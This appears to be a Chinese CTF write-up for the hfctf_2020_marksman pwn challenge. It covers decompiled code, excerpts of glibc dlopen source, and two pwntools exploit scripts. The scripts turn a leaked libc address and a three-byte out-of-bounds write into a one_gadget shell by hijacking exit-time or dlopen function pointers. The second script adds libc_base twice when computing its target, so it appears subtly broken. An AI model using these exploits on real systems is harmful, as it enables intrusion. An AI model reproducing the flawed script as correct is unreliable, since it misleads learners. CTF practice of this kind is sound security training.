hfctf_2020_marksman(劫持exit_hook或dlopen)

发布于:2023-01-19 ⋅ 阅读:(504) ⋅ 点赞:(0)

在这里插入图片描述

main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-28h]
  int j; // [rsp+Ch] [rbp-24h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  set();
  menu();
  puts("Free shooting games! Three bullets available!");
  printf("I placed the target near: %p\n", &puts);
  puts("shoot!shoot!");
  v6 = readn();
  for ( i = 0; i <= 2; ++i )
  {
    puts("biang!");
    read(0, &v7[i], 1uLL);
    getchar();
  }
  if ( sub_BC2(v7) )
  {
    for ( j = 0; j <= 2; ++j )
      *(j + v6) = v7[j];
  }
  if ( !dlopen(0LL, 1) )
    exit(1);
  puts("bye~");
  return 0LL;
}

sub_BC2(v7)

__int64 __fastcall sub_BC2(_BYTE *a1)
{
  if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 0x22 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )
    return 1LL;
  puts("You always want a Gold Finger!");
  return 0LL;
}

分析

根据程序可知是数组越界,第一个输入的数是我们要覆盖的位置,后三个输入的数是我们要覆盖的三个字节,程序一开始输出了puts函数的地址,相当于泄露了libc,我们想到的就是覆盖某个函数的地址为one_gadget函数地址,实现部分字节写,但是程序开了Full RELRO,got表无法被劫持,程序对输入值进行了限制,多数“one_gadget”被淘汰。

思路

我们可以劫持exit_hook,

exit()调用过程

exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
通过gdb获得__rtld_lock_unlock_recursive偏移,修改__rtld_lock_unlock_recursive低三位字节为one_gadget地址

one_gadget ../../libc-2.27.so--64 -l2

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

exp

# coding=utf-8
from pwn import *
sh = remote("node4.buuoj.cn", 27939)
#sh = process('./hfctf_2020_marksman')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./hfctf_2020_marksman")
libc = ELF('../../libc-2.27.so--64')
def dbg():
        gdb.attach(sh)
        pause()

#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims   :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))

ru('I placed the target near: ')
puts_addr = int(r(14),16)
lg('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym['puts']
__rtld_lock_unlock_recursive_offset = 0x81df60
addr = libc_base+__rtld_lock_unlock_recursive_offset
one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
shell = one_gadget[1]+libc_base

sla('shoot!shoot!\n',str(addr))
for i in range(3):
        sla('biang!',chr(shell&0xff))
        shell=shell>>8


itr()

另一种思路

dlopen函数

void * dlopen (const char *file, int mode)

功能:打开一个动态链接库
参数:file就是libc文件路径,mode只有以下两种常用的值,并且必须指定其一
RTLD_LAZY:在 dlopen 返回前,对于动态库中存在的未定义的变量 (如外部变量 extern, 也可以是函数) 不执行解析,就是不解析这个变量的地址
RTLD_NOW:与上面不同,他需要在 dlopen 返回前,解析出每个未定义变量的地址,如果解析不出来,在 dlopen 会返回 NULL

dlopen源码

void * dlopen (const char *file, int mode)
{
  return __dlopen (file, mode, RETURN_ADDRESS (0));
}
void * __dlopen (const char *file, int mode DL_CALLER_DECL)
{
# ifdef SHARED
  if (__builtin_expect (_dlfcn_hook != NULL, 0))
    return _dlfcn_hook->dlopen (file, mode, DL_CALLER);
#endif
 
  struct dlopen_args args;
  args.file = file;
  args.mode = mode;
  args.caller = DL_CALLER;
 
# ifdef SHARED
  return _dlerror_run (dlopen_doit, &args) ? NULL : args.new;
#else
  if (_dlerror_run (dlopen_doit, &args))
    return NULL;
 
  __libc_register_dl_open_hook ((struct link_map *) args.new);
  __libc_register_dlfcn_hook ((struct link_map *) args.new);
 
  return args.new;
# endif
}

在这里插入图片描述
dlopen函数调用了_dl_open函数

_dl_open源码

void * _dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[])
{
    ……
    ……
 
  /* Never allow loading a DSO in a namespace which is empty.  Such
     direct placements is only causing problems.  Also don't allow
     loading into a namespace used for auditing.  */
  else if (__builtin_expect (nsid != LM_ID_BASE && nsid != __LM_ID_CALLER, 0)
	   && (GL(dl_ns)[nsid]._ns_nloaded == 0
	       || GL(dl_ns)[nsid]._ns_loaded->l_auditing))
    _dl_signal_error (EINVAL, file, NULL,
		      N_("invalid target namespace in dlmopen()"));
#ifndef  SHARED
  else if ((nsid == LM_ID_BASE || nsid == __LM_ID_CALLER)
	   && GL(dl_ns)[LM_ID_BASE]._ns_loaded == NULL
	   && GL(dl_nns) == 0)
    GL(dl_nns) = 1;
#endif
 
  struct dl_open_args args;
  args.file = file;
  args.mode = mode;
  args.caller_dlopen = caller_dlopen;
  args.caller_dl_open = RETURN_ADDRESS (0);
  args.map = NULL;
  args.nsid = nsid;
  args.argc = argc;
  args.argv = argv;
  args.env = env;
 
  const char *objname;
  const char *errstring;
  bool malloced;
  int errcode = _dl_catch_error (&objname, &errstring, &malloced, dl_open_worker, &args);
 
# ifndef MAP_COPY
  /* We must munmap() the cache file. */
  _dl_unload_cache ();
# endif
 
    ……
    ……
 
#ifndef  SHARED
  DL_STATIC_INIT (args.map);
 #endif
 
  return args.map;
}

我们可以劫持_dl_catch_error函数为one_gadget地址,_dl_catch_error为libc中的函数,可以gdb调试找到其got表
在这里插入图片描述

exp

# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 27939)
sh = process('./hfctf_2020_marksman')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./hfctf_2020_marksman")
libc = ELF('../../libc-2.27.so--64')
def dbg():
        gdb.attach(sh)
       

#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims   :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))

ru('I placed the target near: ')
puts_addr = int(r(14),16)
lg('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym['puts']
__rtld_lock_unlock_recursive_offset = 0x81df60
#addr = libc_base+__rtld_lock_unlock_recursive_offset

_dl_catch_error_libc=libc_base + 0x5f4038
addr = libc_base+_dl_catch_error_libc

one_gadget = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
shell = one_gadget[2]+libc_base
 
sla('shoot!shoot!\n',str(addr))
for i in range(3):
        sla('biang!',chr(shell&0xff))
        shell=shell>>8


itr()
本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到